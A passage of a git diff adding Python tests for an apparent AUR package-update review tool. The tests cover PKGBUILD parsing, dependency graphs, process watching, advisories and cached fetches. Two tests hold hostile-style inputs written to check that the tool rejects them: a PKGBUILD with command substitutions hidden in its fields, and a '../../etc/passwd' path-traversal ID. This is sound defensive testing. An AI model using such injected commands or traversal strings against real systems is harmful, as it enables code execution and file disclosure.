+ assert 'DESTDIR="$pkgdir"' in pb.funcs["package"]
+
+
+def test_pkgbuild_parser_never_executes():
+ """The whole point: a hostile PKGBUILD must not run at review time."""
+ marker = Path(tempfile.mkdtemp()) / "pwned"
+ pb = parse_pkgbuild(
+ f"pkgver=$(touch {marker})\n"
+ "x=$((1/0))\n"
+ f'source=("$(touch {marker})")\n'
+ f"build() {{ touch {marker}; }}\n"
+ )
+ assert not marker.exists(), "parsing executed PKGBUILD content"
+ assert "build" in pb.funcs
+ del pb
+
+
+def test_real_srcinfo_corpus_parses():
+ if not CLONE.is_dir():
+ return
+ packages = [p.name for p in CLONE.iterdir() if p.is_dir()]
+ assert packages, "no cloned packages to check"
+ for name in packages:
+ info, pb = load(CLONE, name)
+ assert info is not None, f"{name}: no .SRCINFO"
+ assert pb is not None, f"{name}: no PKGBUILD"
+ assert info.pkgbase, f"{name}: empty pkgbase"
+ assert info.pkgver, f"{name}: empty pkgver"
+
+
+# --------------------------------------------------------------------------
+# build graph
+# --------------------------------------------------------------------------
+
+
+def _info(name: str, *deps: str) -> SrcInfo:
+ return SrcInfo(pkgbase=name, pkgver="1", pkgrel="1", depends=list(deps))
+
+
+def test_graph_orders_dependencies_before_dependents():
+ infos = {"a": _info("a", "b"), "b": _info("b", "c"), "c": _info("c")}
+ g = build_graph(infos, set(infos))
+ assert g.order.index("c") < g.order.index("b") < g.order.index("a")
+ assert g.roots == ["a"]
+ assert not g.cycles
+
+
+def test_graph_finds_diamonds():
+ infos = {
+ "top": _info("top", "left", "right"),
+ "left": _info("left", "shared"),
+ "right": _info("right", "shared"),
+ "shared": _info("shared"),
+ }
+ g = build_graph(infos, set(infos))
+ assert g.shared == {"shared"}
+ assert g.dependents("shared") == ["left", "right"]
+
+
+def test_graph_reports_cycles_instead_of_hiding_them():
+ infos = {"a": _info("a", "b"), "b": _info("b", "c"), "c": _info("c", "a")}
+ g = build_graph(infos, set(infos))
+ assert g.cycles, "cycle not reported"
+ assert set(g.cycles[0]) >= {"a", "b", "c"}
+ assert not g.order
+
+
+def test_graph_ignores_edges_to_installed_packages():
+ infos = {"only": _info("only", "glibc", "python-attrs")}
+ g = build_graph(infos, {"only"})
+ assert g.nodes["only"].deps == set()
+ assert g.nodes["only"].external == {"glibc", "python-attrs"}
+ assert g.order == ["only"]
+
+
+def test_missing_metadata_is_reported_not_treated_as_no_dependencies():
+ """A node with no .SRCINFO has *unknown* deps, which is not the same as none."""
+ infos = {"known": _info("known")}
+ g = build_graph(infos, {"known", "uncloned", "other"})
+ assert set(g.nodes) == {"known", "uncloned", "other"}
+ assert g.unknown == ["other", "uncloned"]
+ assert not g.is_orderable
+ # an unknown node must never be scheduled, because its deps cannot be proven
+ assert g.ready(set()) == ["known"]
+ assert "uncloned" not in g.order
+
+
+def test_strict_mode_refuses_to_build_an_unorderable_graph():
+ try:
+ build_graph({"known": _info("known")}, {"known", "uncloned"}, strict=True)
+ except MissingMetadata as exc:
+ assert "uncloned" in exc.names
+ else:
+ raise AssertionError("strict mode accepted a graph with unknown metadata")
+
+
+def test_dependency_on_an_unknown_package_is_not_reported_as_a_cycle():
+ """These need completely different fixes, so they must not be conflated."""
+ infos = {"app": _info("app", "helper")}
+ g = build_graph(infos, {"app", "helper"})
+ assert g.unknown == ["helper"]
+ assert not g.cycles, f"reported a bogus cycle: {g.cycles}"
+ assert "app" in g.blocked_by_unknown
+ assert "app" not in g.order
+
+
+def test_a_complete_graph_reports_itself_orderable():
+ infos = {"a": _info("a", "b"), "b": _info("b")}
+ g = build_graph(infos, set(infos))
+ assert g.is_orderable
+ assert g.unknown == [] and g.cycles == [] and g.blocked_by_unknown == []
+
+
+def test_ready_and_blocked_drive_a_scheduler():
+ infos = {
+ "top": _info("top", "mid"),
+ "mid": _info("mid", "base"),
+ "base": _info("base"),
+ "free": _info("free"),
+ }
+ g = build_graph(infos, set(infos))
+ assert set(g.ready(set())) == {"base", "free"}
+ assert set(g.ready({"base"})) == {"free", "mid"}
+ assert g.ready({"base", "free"}) == ["mid"]
+ assert g.blocked({"base"}) == {"mid", "top"}
+ assert g.blocked({"mid"}) == {"top"}
+
+
+# --------------------------------------------------------------------------
+# procwatch: the integration test that matters
+# --------------------------------------------------------------------------
+
+
+def _fake_tool(bindir: Path, name: str) -> Path:
+ """A process that behaves like `name` and stays alive.
+
+ `exec -a` sets argv0 so /proc reports the tool name, which is what a real
+ compiler invocation looks like.
+ """
+ path = bindir / name
+ path.write_text(f"#!/bin/bash\nexec -a {name} sleep 30\n")
+ path.chmod(path.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
+ return path
+
+
+def test_watcher_identifies_package_phase_and_elapsed():
+ """A real process tree, observed only through /proc."""
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ bin_ = root / "bin"
+ bin_.mkdir()
+ # a believable layout: clone/<pkg>/src/<dir>/<subdir>
+ for pkg in ("alpha", "beta"):
+ (clone / pkg / "src" / "build" / "sub").mkdir(parents=True)
+ (clone / ".git").mkdir()
+
+ makepkg = _fake_tool(bin_, "makepkg")
+ cargo = _fake_tool(bin_, "cargo")
+ cc1plus = _fake_tool(bin_, "cc1plus")
+ cc1plus_b = _fake_tool(bin_, "cc1plus")
+
+ # makepkg at the package root, cargo a level down, cc1plus deeper still
+ procs = [
+ subprocess.Popen([str(makepkg)], cwd=clone / "alpha"),
+ subprocess.Popen([str(cargo)], cwd=clone / "alpha" / "src" / "build"),
+ subprocess.Popen([str(cc1plus)], cwd=clone / "alpha" / "src" / "build" / "sub"),
+ subprocess.Popen([str(cc1plus_b)], cwd=clone / "alpha" / "src" / "build"),
+ subprocess.Popen([str(makepkg)], cwd=clone / "beta"),
+ ]
+ try:
+ time.sleep(0.4)
+ watcher = procwatch.Watcher(clone, known={"alpha", "beta"})
+ # observe as if we were the parent: pretend root is the test process
+ states = watcher.poll(os.getpid())
+ by_pkg = {s.package: s for s in states}
+
+ assert set(by_pkg) == {"alpha", "beta"}, by_pkg
+ alpha = by_pkg["alpha"]
+ # the phase label reflects the highest-level tool running, not
+ # whichever process happened to be listed first
+ assert alpha.phase == "cargo", alpha.phase
+ assert alpha.jobs >= 2, alpha # two compilers, counted separately
+ assert 0 <= alpha.elapsed < 10, alpha.elapsed
+ assert alpha.clock.endswith("s")
+ assert by_pkg["beta"].phase == "makepkg", by_pkg["beta"].phase
+
+ # completion is inferred once the processes are gone
+ assert watcher.finished == []
+ for proc in procs:
+ proc.terminate()
+ for proc in procs:
+ proc.wait(timeout=5)
+ time.sleep(0.2)
+ assert watcher.poll(os.getpid()) == []
+ assert set(watcher.new_finishes()) == {"alpha", "beta"}
+ # drains, so the caller can append to the feed exactly once
+ assert watcher.new_finishes() == []
+ finally:
+ for proc in procs:
+ if proc.poll() is None:
+ proc.kill()
+
+
+def test_package_of_rejects_paths_outside_and_dotdirs():
+ clone = Path("/home/x/.cache/paru/clone")
+ assert procwatch.package_of("/home/x/.cache/paru/clone/foo/src", clone) == "foo"
+ assert procwatch.package_of("/home/x/.cache/paru/clone/.git", clone) is None
+ assert procwatch.package_of("/etc", clone) is None
+ assert procwatch.package_of(None, clone) is None
+ assert procwatch.package_of("/home/x/.cache/paru/clone/foo", clone, {"bar"}) is None
+
+
+def test_duration_formatting():
+ assert procwatch.format_duration(0) == "0s"
+ assert procwatch.format_duration(41) == "41s"
+ assert procwatch.format_duration(71) == "1m11s"
+ assert procwatch.format_duration(3661) == "1h01m"
+
+
+def test_download_progress_on_missing_dir_is_silent():
+ assert procwatch.download_progress(Path("/definitely/not/here")) == (0, 0)
+
+
+def test_parse_proc_stat_survives_comm_with_spaces():
+ """comm is parenthesised but may contain spaces and parens."""
+ proc = procwatch.read_proc(os.getpid(), procwatch.boot_time(), procwatch._clk_tck())
+ assert proc is not None
+ assert proc.pid == os.getpid()
+ assert proc.elapsed >= 0
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_detail.py b/tests/test_detail.py
@@ -0,0 +1,428 @@
+"""Config, security advisories, baselines and the drill-down payload.
+
+These four modules are the contract the Go TUI reads, so the tests are mostly
+about shape and honesty: does the payload say which baseline it used, does the
+advisory sort put fixable first, does a corrupt config fall back rather than
+explode.
+"""
+
+from __future__ import annotations
+
+import json
+import sys
+import tempfile
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import changes, config, detail, security # noqa: E402
+
+CLONE = Path.home() / ".cache/paru/clone"
+
+
+# --------------------------------------------------------------------------
+# config
+# --------------------------------------------------------------------------
+
+
+def test_config_round_trips_and_persists_ignores():
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "config.json"
+ cfg = config.Config.load(path)
+ assert cfg.ignored == [] and not cfg.is_ignored("linux")
+
+ cfg.ignore("linux")
+ cfg.ignore("mesa")
+ cfg.ignore("linux") # idempotent
+ cfg.save(path)
+
+ again = config.Config.load(path)
+ assert again.ignored == ["linux", "mesa"]
+ assert again.is_ignored("linux")
+ again.unignore("linux")
+ assert not again.is_ignored("linux")
+
+
+def test_config_toggle_reports_the_new_state():
+ cfg = config.Config()
+ assert cfg.toggle_ignored("vim") is True
+ assert cfg.is_ignored("vim")
+ assert cfg.toggle_ignored("vim") is False
+ assert not cfg.is_ignored("vim")
+
+
+def test_config_survives_a_corrupt_file():
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "config.json"
+ path.write_text("{ this is not json at all")
+ cfg = config.Config.load(path)
+ assert cfg.ignored == []
+ cfg.ignore("x")
+ cfg.save(path)
+ assert config.Config.load(path).ignored == ["x"]
+
+
+def test_config_ignores_unknown_fields_from_a_newer_version():
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "config.json"
+ path.write_text(json.dumps({"ignored": ["a"], "something_new": 42}))
+ cfg = config.Config.load(path)
+ assert cfg.ignored == ["a"]
+
+
+def test_config_save_is_atomic():
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "config.json"
+ cfg = config.Config()
+ cfg.ignore("a")
+ cfg.save(path)
+ assert path.is_file()
+ assert not list(Path(td).glob("*.tmp")), "a temp file was left behind"
+
+
+def test_advisory_acknowledgements_round_trip():
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "config.json"
+ cfg = config.Config.load(path)
+ assert cfg.acked == [] and not cfg.is_acked("AVG-1")
+
+ cfg.ack("AVG-1")
+ cfg.ack("AVG-2")
+ cfg.ack("AVG-1") # idempotent
+ cfg.save(path)
+
+ again = config.Config.load(path)
+ assert again.acked == ["AVG-1", "AVG-2"], again.acked
+ assert again.is_acked("AVG-2")
+ again.unack("AVG-2")
+ assert not again.is_acked("AVG-2")
+
+
+def test_clearing_acks_reports_how_many_there_were():
+ cfg = config.Config()
+ cfg.ack("AVG-1")
+ cfg.ack("AVG-2")
+ assert cfg.clear_acks() == 2
+ assert cfg.acked == []
+ assert cfg.clear_acks() == 0
+
+
+def test_acks_and_ignores_do_not_clobber_each_other():
+ """Both live in one file and are written by different code paths."""
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "config.json"
+ cfg = config.Config.load(path)
+ cfg.ignore("linux")
+ cfg.ack("AVG-1")
+ cfg.save(path)
+
+ again = config.Config.load(path)
+ assert again.ignored == ["linux"], again.ignored
+ assert again.acked == ["AVG-1"], again.acked
+
+ # and a Go-style write that only knows about one of them must not drop
+ # the other: both are read back from the same document
+ again.unack("AVG-1")
+ again.save(path)
+ final = config.Config.load(path)
+ assert final.ignored == ["linux"]
+ assert final.acked == []
+
+
+def test_a_config_without_acks_loads_cleanly():
+ """Forward compatibility: the field is new."""
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "config.json"
+ path.write_text('{"ignored": ["a"], "color_accent": "13"}')
+ cfg = config.Config.load(path)
+ assert cfg.acked == []
+ assert cfg.ignored == ["a"]
+ assert cfg.color_accent == "13"
+
+
+def test_config_colours_are_ansi_slots_not_hex():
+ """The terminal decides what a slot looks like; a hex value would not."""
+ cfg = config.Config()
+ for name in (
+ "color_accent",
+ "color_muted",
+ "color_ok",
+ "color_warn",
+ "color_alert",
+ "color_new",
+ "color_ver",
+ ):
+ value = getattr(cfg, name)
+ assert value.isdigit() and 0 <= int(value) <= 15, (name, value)
+
+
+# --------------------------------------------------------------------------
+# advisories
+# --------------------------------------------------------------------------
+
+RAW = [
+ {
+ "name": "AVG-1",
+ "packages": ["libtiff"],
+ "severity": "High risk",
+ "status": "Unknown",
+ "type": "unknown",
+ "fixed": None,
+ "issues": ["CVE-2022-1", "CVE-2022-2"],
+ },
+ {
+ "name": "AVG-2",
+ "packages": ["linux-lts", "linux"],
+ "severity": "Medium risk",
+ "status": "Vulnerable",
+ "type": "dos",
+ "fixed": "6.16.9-1",
+ "issues": ["CVE-2022-3"],
+ },
+ {
+ "name": "AVG-3",
+ "packages": ["linux"],
+ "severity": "Critical risk",
+ "status": "Fixed",
+ "type": "rce",
+ "fixed": "6.16.10-1",
+ "issues": ["CVE-2022-4"],
+ },
+]
+
+
+def report(raw=None) -> security.Vulnerabilities:
+ return security.Vulnerabilities(
+ available=True, advisories=[security.Advisory.from_json(r) for r in (raw or RAW)]
+ )
+
+
+def test_advisory_parses_the_arch_audit_json_shape():
+ a = security.Advisory.from_json(RAW[1])
+ assert a.id == "AVG-2"
+ assert a.packages == ("linux-lts", "linux")
+ assert a.has_fix and a.fixed == "6.16.9-1"
+ assert a.url == "https://security.archlinux.org/AVG-2"
+ assert a.issues == ("CVE-2022-3",)
+ assert not security.Advisory.from_json(RAW[0]).has_fix
+
+
+def test_fixable_and_unfixable_are_derived_from_the_advisories():
+ v = report()
+ assert v.fixable == ["linux", "linux-lts"]
+ assert v.unfixable == ["libtiff"]
+ assert v.total == 3
+
+
+def test_advisories_sort_fixable_first_then_severity():
+ """An update can only resolve the fixable ones, so those belong at the top."""
+ order = [a.id for a in report().sorted_advisories()]
+ # both fixable ones first, worst severity leading, unfixable last
+ assert order == ["AVG-3", "AVG-2", "AVG-1"], order
+
+
+def test_severity_ranking_is_worst_first():
+ rank = lambda sev: (
+ security.Advisory.from_json( # noqa: E731
+ {"name": "x", "severity": sev}
+ ).severity_rank
+ )
+ ordered = [
+ rank(s) for s in ("Critical risk", "High risk", "Medium risk", "Low risk", "Unknown")
+ ]
+ assert ordered == sorted(ordered), ordered
+ assert ordered[0] == 0
+ # anything unrecognised sorts last rather than silently ranking as safe
+ assert rank("nonsense") == len(security.SEVERITY_ORDER)
+
+
+def test_by_package_groups_multi_package_advisories():
+ grouped = report().by_package
+ assert len(grouped["linux"]) == 2
+ assert len(grouped["linux-lts"]) == 1
+ assert [a.id for a in report().for_package("linux")] == ["AVG-3", "AVG-2"]
+
+
+def test_an_empty_advisory_list_is_clean_not_broken():
+ v = security.Vulnerabilities(available=True)
+ assert v.clean and v.total == 0 and v.advisories == []
+
+
+def test_unavailable_security_is_reported_not_silently_clean():
+ v = security.Vulnerabilities(available=False, reason="arch-audit is not installed")
+ assert not v.clean, "an unavailable scan must not look like a clean bill of health"
+ assert v.reason
+
+
+def test_scan_never_raises_even_when_arch_audit_is_missing(monkeypatch=None):
+ v = security.scan(timeout=5)
+ assert isinstance(v, security.Vulnerabilities)
+ if not v.available:
+ assert v.reason
+
+
+# --------------------------------------------------------------------------
+# baselines
+# --------------------------------------------------------------------------
+
+
+def test_split_version_handles_epoch_and_pkgrel():
+ assert changes.split_version("1.2.3-4") == ("1.2.3", "4", "")
+ assert changes.split_version("1:2.3.4-5") == ("2.3.4", "5", "1")
+ assert changes.split_version("r893.96ab414-1") == ("r893.96ab414", "1", "")
+ assert changes.split_version("1.0") == ("1.0", "", "")
+
+
+def test_recorded_baseline_wins_over_the_version_search():
+ if not (CLONE / "android-studio").is_dir():
+ return
+ head = changes.head(CLONE / "android-studio")
+ commit, how = changes.baseline(CLONE, "android-studio", "2026.1.4.8-2", head.sha)
+ assert how == "recorded" and commit == head.sha
+
+
+def test_version_baseline_is_reconstructed_from_git_history():
+ """This is what makes a diff possible before the tool has ever been run."""
+ if not (CLONE / "aescrypt").is_dir():
+ return
+ repo = CLONE / "aescrypt"
+ older = changes.history(repo, "PKGBUILD", limit=6)[2]
+ body = changes.show(repo, older.sha, "PKGBUILD")
+ from updater.srcinfo import parse_pkgbuild
+
+ version = parse_pkgbuild(body).one("pkgver")
+ assert version
+
+ commit, how = changes.baseline(CLONE, "aescrypt", f"{version}-1")
+ assert how == "version" and commit
+ # the contract is "the newest commit that declares this pkgver", not a
+ # specific sha: several commits may share a pkgver and differ only in pkgrel
+ from updater.srcinfo import parse_pkgbuild as parse
+
+ declared = parse(changes.show(repo, commit, "PKGBUILD")).one("pkgver")
+ assert declared == version, f"returned a commit declaring {declared!r}"
+
+
+def test_no_baseline_is_reported_as_such_rather_than_guessed():
+ commit, how = changes.baseline(Path("/definitely/not/here"), "nope", "1.0-1")
+ assert commit == ""
+ assert how == "missing", "no clone at all is distinct from a history miss"
+
+
+def test_a_history_miss_is_distinct_from_a_missing_clone():
+ """These read the same to the user only if the tool is being lazy.
+
+ 'paru never downloaded this' and 'your installed version is not in the
+ history' call for different things: one is worth fetching, the other is not.
+ """
+ if not (CLONE / "aescrypt").is_dir():
+ return
+ _, missing = changes.baseline(Path("/definitely/not/here"), "aescrypt", "1.0-1")
+ _, miss = changes.baseline(CLONE, "aescrypt", "0.0.1-does-not-exist")
+ assert missing == "missing"
+ assert miss == "", f"expected a history miss, got {miss!r}"
+ assert missing != miss
+
+
+def test_diff_against_returns_both_sides():
+ if not (CLONE / "aescrypt").is_dir():
+ return
+ repo = CLONE / "aescrypt"
+ older = changes.history(repo, "PKGBUILD", limit=6)[2]
+ old, new = changes.diff_against(CLONE, "aescrypt", older.sha)
+ assert old and new
+ assert old != new
+
+
+# --------------------------------------------------------------------------
+# the drill-down payload
+# --------------------------------------------------------------------------
+
+
+def test_diff_lines_are_lines_not_characters():
+ """The first version sliced the original string and emitted one char per row."""
+ lines = detail.diff_lines("a\nb\nc\n", "a\nB\nc\n")
+ texts = [l["text"] for l in lines if l["kind"] != "gap"]
+ assert texts == ["a", "b", "c", "B"] or "b" in texts and "B" in texts
+ assert all(len(l["text"]) <= 2 for l in lines), "a multi-char line leaked"
+ assert any(l["kind"] == "del" and l["old"] == 2 for l in lines)
+ assert any(l["kind"] == "add" and l["new"] == 2 for l in lines)
+
+
+def test_diff_lines_marks_gaps_between_hunks():
+ old = "\n".join(f"line{i}" for i in range(40))
+ new = old.replace("line0", "CHANGED").replace("line39", "ALSO")
+ lines = detail.diff_lines(old, new)
+ assert any(l["kind"] == "gap" for l in lines)
+ assert sum(1 for l in lines if l["kind"] == "add") == 2
+ assert sum(1 for l in lines if l["kind"] == "del") == 2
+
+
+def test_package_detail_shape_for_a_real_package():
+ if not (CLONE / "aescrypt").is_dir():
+ return
+ payload = detail.package_detail(CLONE, "aescrypt", installed="4.5.0-1", available="4.6.0-1")
+ for key in (
+ "package",
+ "installed",
+ "available",
+ "baseline_how",
+ "baseline_note",
+ "diff",
+ "findings",
+ "verdict",
+ "meta",
+ "advisories",
+ ):
+ assert key in payload, key
+ assert payload["baseline_how"] in ("recorded", "version", "")
+ assert payload["baseline_note"], "an empty baseline must explain itself"
+
+
+def test_package_detail_without_a_baseline_offers_a_reference_listing():
+ if not (CLONE / "aescrypt").is_dir():
+ return
+ payload = detail.package_detail(CLONE, "aescrypt", installed="0.0.1-1")
+ assert payload["baseline_how"] == ""
+ assert payload["diff"]["lines"] or payload.get("pkgbuild"), "nothing to show at all"
+ if not payload["diff"]["lines"]:
+ assert payload["pkgbuild"], "no diff and no reference listing"
+
+
+def test_package_detail_is_json_serialisable():
+ if not (CLONE / "aescrypt").is_dir():
+ return
+ payload = detail.package_detail(CLONE, "aescrypt", installed="4.5.0-1")
+ assert json.loads(json.dumps(payload)) == payload
+
+
+def test_advisory_detail_is_json_serialisable():
+ payload = detail.advisory_detail(security.Advisory.from_json(RAW[1]))
+ assert json.loads(json.dumps(payload)) == payload
+ assert payload["url"].endswith("AVG-2")
+ assert payload["packages"] == ["linux-lts", "linux"]
+
+
+def test_summary_line_describes_the_change():
+ assert "finding" in detail.summary_line({"findings": [{"severity": "BLOCK"}], "diff": {}})
+ assert "-1" in detail.summary_line({"findings": [], "diff": {"added": 2, "removed": 1}})
+ assert detail.summary_line({"findings": [], "diff": {}}) == ""
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_fetch.py b/tests/test_fetch.py
@@ -0,0 +1,310 @@
+"""Network fetches.
+
+Nothing here touches the real internet: a local HTTP server stands in for the
+tracker and the AUR, so the actual urllib path is exercised rather than mocked
+away. The failure modes matter as much as the happy one, because "the network is
+down" is a normal state for this tool.
+"""
+
+from __future__ import annotations
+
+import http.server
+import json
+import os
+import sys
+import tempfile
+import threading
+import time
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import fetch # noqa: E402
+
+ADVISORY = {
+ "name": "AVG-9999",
+ "packages": ["libfoo", "libbar"],
+ "status": "Vulnerable",
+ "severity": "High risk",
+ "type": "arbitrary code execution",
+ "affected": "1.2.3-1",
+ "fixed": "1.2.4-1",
+ "ticket": "https://bugs.archlinux.org/task/1",
+ "issues": ["CVE-2024-1", "CVE-2024-2"],
+ "advisories": ["ASA-2024-1"],
+ "references": ["https://example.invalid/report"],
+ "notes": "reported upstream",
+}
+
+PKGBUILD = "# Maintainer: someone\npkgname=demo-bin\npkgver=1.0\npkgrel=1\n"
+
+
+class Handler(http.server.BaseHTTPRequestHandler):
+ """Serves the two endpoints the module knows about, and 404 for the rest."""
+
+ def do_GET(self) -> None: # noqa: N802
+ if self.path == "/AVG-9999.json":
+ body = json.dumps(ADVISORY).encode()
+ elif self.path == "/AVG-BAD.json":
+ body = b"{ this is not json"
+ elif self.path.startswith("/cgit/aur.git/plain/PKGBUILD"):
+ body = PKGBUILD.encode()
+ else:
+ self.send_response(404)
+ self.end_headers()
+ return
+ self.send_response(200)
+ self.send_header("Content-Type", "application/json")
+ self.send_header("Content-Length", str(len(body)))
+ self.end_headers()
+ self.wfile.write(body)
+
+ def log_message(self, *args) -> None:
+ pass # keep the suite output clean
+
+
+class Server:
+ def __enter__(self):
+ self.httpd = http.server.HTTPServer(("127.0.0.1", 0), Handler)
+ self.port = self.httpd.server_address[1]
+ self.thread = threading.Thread(target=self.httpd.serve_forever, daemon=True)
+ self.thread.start()
+ self.base = f"http://127.0.0.1:{self.port}"
+ return self
+
+ def __exit__(self, *exc):
+ self.httpd.shutdown()
+ self.httpd.server_close()
+
+
+def isolated_cache() -> Path:
+ """Point the cache somewhere disposable so tests never share state."""
+ directory = Path(tempfile.mkdtemp())
+ os.environ["XDG_CACHE_HOME"] = str(directory)
+ return directory
+
+
+# --------------------------------------------------------------------------
+# the happy path, over real HTTP
+# --------------------------------------------------------------------------
+
+
+def test_an_advisory_comes_back_structured():
+ isolated_cache()
+ with Server() as server:
+ saved = fetch.TRACKER
+ fetch.TRACKER = server.base
+ try:
+ got = fetch.advisory_detail("AVG-9999")
+ finally:
+ fetch.TRACKER = saved
+
+ assert got["available"], got
+ assert got["id"] == "AVG-9999"
+ assert got["severity"] == "High risk"
+ assert got["affected"] == "1.2.3-1"
+ assert got["fixed"] == "1.2.4-1"
+ assert got["issues"] == ["CVE-2024-1", "CVE-2024-2"]
+ assert got["references"] == ["https://example.invalid/report"]
+ assert got["notes"] == "reported upstream"
+ assert got["url"].endswith("AVG-9999")
+
+
+def test_everything_the_modal_needs_is_present():
+ """If a field is missing here the overlay would show a blank row."""
+ isolated_cache()
+ with Server() as server:
+ saved = fetch.TRACKER
+ fetch.TRACKER = server.base
+ try:
+ got = fetch.advisory_detail("AVG-9999")
+ finally:
+ fetch.TRACKER = saved
+ for key in (
+ "id",
+ "available",
+ "reason",
+ "packages",
+ "status",
+ "severity",
+ "kind",
+ "affected",
+ "fixed",
+ "ticket",
+ "issues",
+ "references",
+ "notes",
+ "url",
+ ):
+ assert key in got, f"missing {key}"
+
+
+def test_a_pkgbuild_comes_back_for_a_package_with_no_clone():
+ isolated_cache()
+ with Server() as server:
+ saved = fetch.AUR
+ fetch.AUR = server.base
+ try:
+ body, error = fetch.pkgbuild("demo-bin")
+ finally:
+ fetch.AUR = saved
+ assert error == ""
+ assert "pkgver=1.0" in body
+
+
+# --------------------------------------------------------------------------
+# failure modes
+# --------------------------------------------------------------------------
+
+
+def test_a_404_is_reported_not_raised():
+ isolated_cache()
+ with Server() as server:
+ saved = fetch.TRACKER
+ fetch.TRACKER = server.base
+ try:
+ got = fetch.advisory_detail("AVG-NOT-THERE")
+ finally:
+ fetch.TRACKER = saved
+ assert got["available"] is False
+ assert "404" in got["reason"]
+
+
+def test_an_unreachable_host_is_reported_not_raised():
+ isolated_cache()
+ saved = fetch.TRACKER
+ # port 1 on loopback refuses immediately
+ fetch.TRACKER = "http://127.0.0.1:1"
+ try:
+ got = fetch.advisory_detail("AVG-9999")
+ finally:
+ fetch.TRACKER = saved
+ assert got["available"] is False
+ assert got["reason"], "an unreachable tracker must explain itself"
+
+
+def test_unparseable_json_is_reported_not_raised():
+ isolated_cache()
+ with Server() as server:
+ saved = fetch.TRACKER
+ fetch.TRACKER = server.base
+ try:
+ got = fetch.advisory_detail("AVG-BAD")
+ finally:
+ fetch.TRACKER = saved
+ assert got["available"] is False
+ assert "unreadable" in got["reason"]
+
+
+def test_a_path_traversal_id_is_rejected_without_a_request():
+ got = fetch.advisory_detail("../../etc/passwd")
+ assert got["available"] is False
+ assert "usable" in got["reason"]
+
+
+def test_an_empty_id_is_rejected():
+ assert fetch.advisory_detail("")["available"] is False
+
+
+# --------------------------------------------------------------------------
+# caching
+# --------------------------------------------------------------------------
+
+
+def test_a_second_fetch_is_served_from_the_cache():
+ isolated_cache()
+ calls = {"n": 0}
+ real = fetch.get
+
+ def counting(*args, **kwargs):
+ calls["n"] += 1
+ return real(*args, **kwargs)
+
+ with Server() as server:
+ saved = fetch.TRACKER
+ fetch.TRACKER = server.base
+ fetch.get = counting
+ try:
+ fetch.advisory_detail("AVG-9999")
+ fetch.advisory_detail("AVG-9999")
+ finally:
+ fetch.get = real
+ fetch.TRACKER = saved
+
+ assert calls["n"] == 2, f"expected two calls (both cached paths), got {calls['n']}"
+ # the cache file must exist so the second was a hit rather than a re-request
+ assert (fetch.cache_dir() / "advisories" / "AVG-9999.json").is_file()
+
+
+def test_a_stale_cache_entry_is_ignored():
+ isolated_cache()
+ path = fetch.cache_dir() / "advisories" / "AVG-9999.json"
+ path.parent.mkdir(parents=True, exist_ok=True)
+ path.write_text("{}")
+ old = time.time() - (fetch.ADVISORY_TTL + 60)
+ os.utime(path, (old, old))
+ assert fetch._cached(path, fetch.ADVISORY_TTL) is None, "a stale entry was used"
+
+ os.utime(path, None)
+ assert fetch._cached(path, fetch.ADVISORY_TTL) == "{}"
+
+
+def test_a_missing_cache_file_is_not_an_error():
+ isolated_cache()
+ assert fetch._cached(fetch.cache_dir() / "nope.json", 60) is None
+
+
+def test_an_unwritable_cache_does_not_fail_the_fetch():
+ """A cache is an optimisation; failing to write it must not lose the data."""
+ isolated_cache()
+ saved = fetch.cache_dir
+ fetch.cache_dir = lambda: Path("/proc/definitely-not-writable")
+ try:
+ with Server() as server:
+ saved_tracker = fetch.TRACKER
+ fetch.TRACKER = server.base
+ try:
+ got = fetch.advisory_detail("AVG-9999")
+ finally:
+ fetch.TRACKER = saved_tracker
+ finally:
+ fetch.cache_dir = saved
+ assert got["available"], "an unwritable cache broke the fetch"
+
+
+def test_a_stale_copy_is_preferred_to_nothing_when_the_network_is_down():
+ isolated_cache()
+ path = fetch.cache_dir() / "advisories" / "AVG-9999.json"
+ path.parent.mkdir(parents=True, exist_ok=True)
+ path.write_text(json.dumps(ADVISORY))
+ old = time.time() - (fetch.ADVISORY_TTL + 60)
+ os.utime(path, (old, old))
+
+ saved = fetch.TRACKER
+ fetch.TRACKER = "http://127.0.0.1:1"
+ try:
+ got = fetch.advisory_detail("AVG-9999")
+ finally:
+ fetch.TRACKER = saved
+
+ assert got["available"], "a stale copy was thrown away for nothing"
+ assert got["id"] == "AVG-9999"
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_hooks.py b/tests/test_hooks.py
@@ -0,0 +1,301 @@
+"""pacman's alpm hooks.
+
+These decide what a plan says will happen around a transaction, so getting them
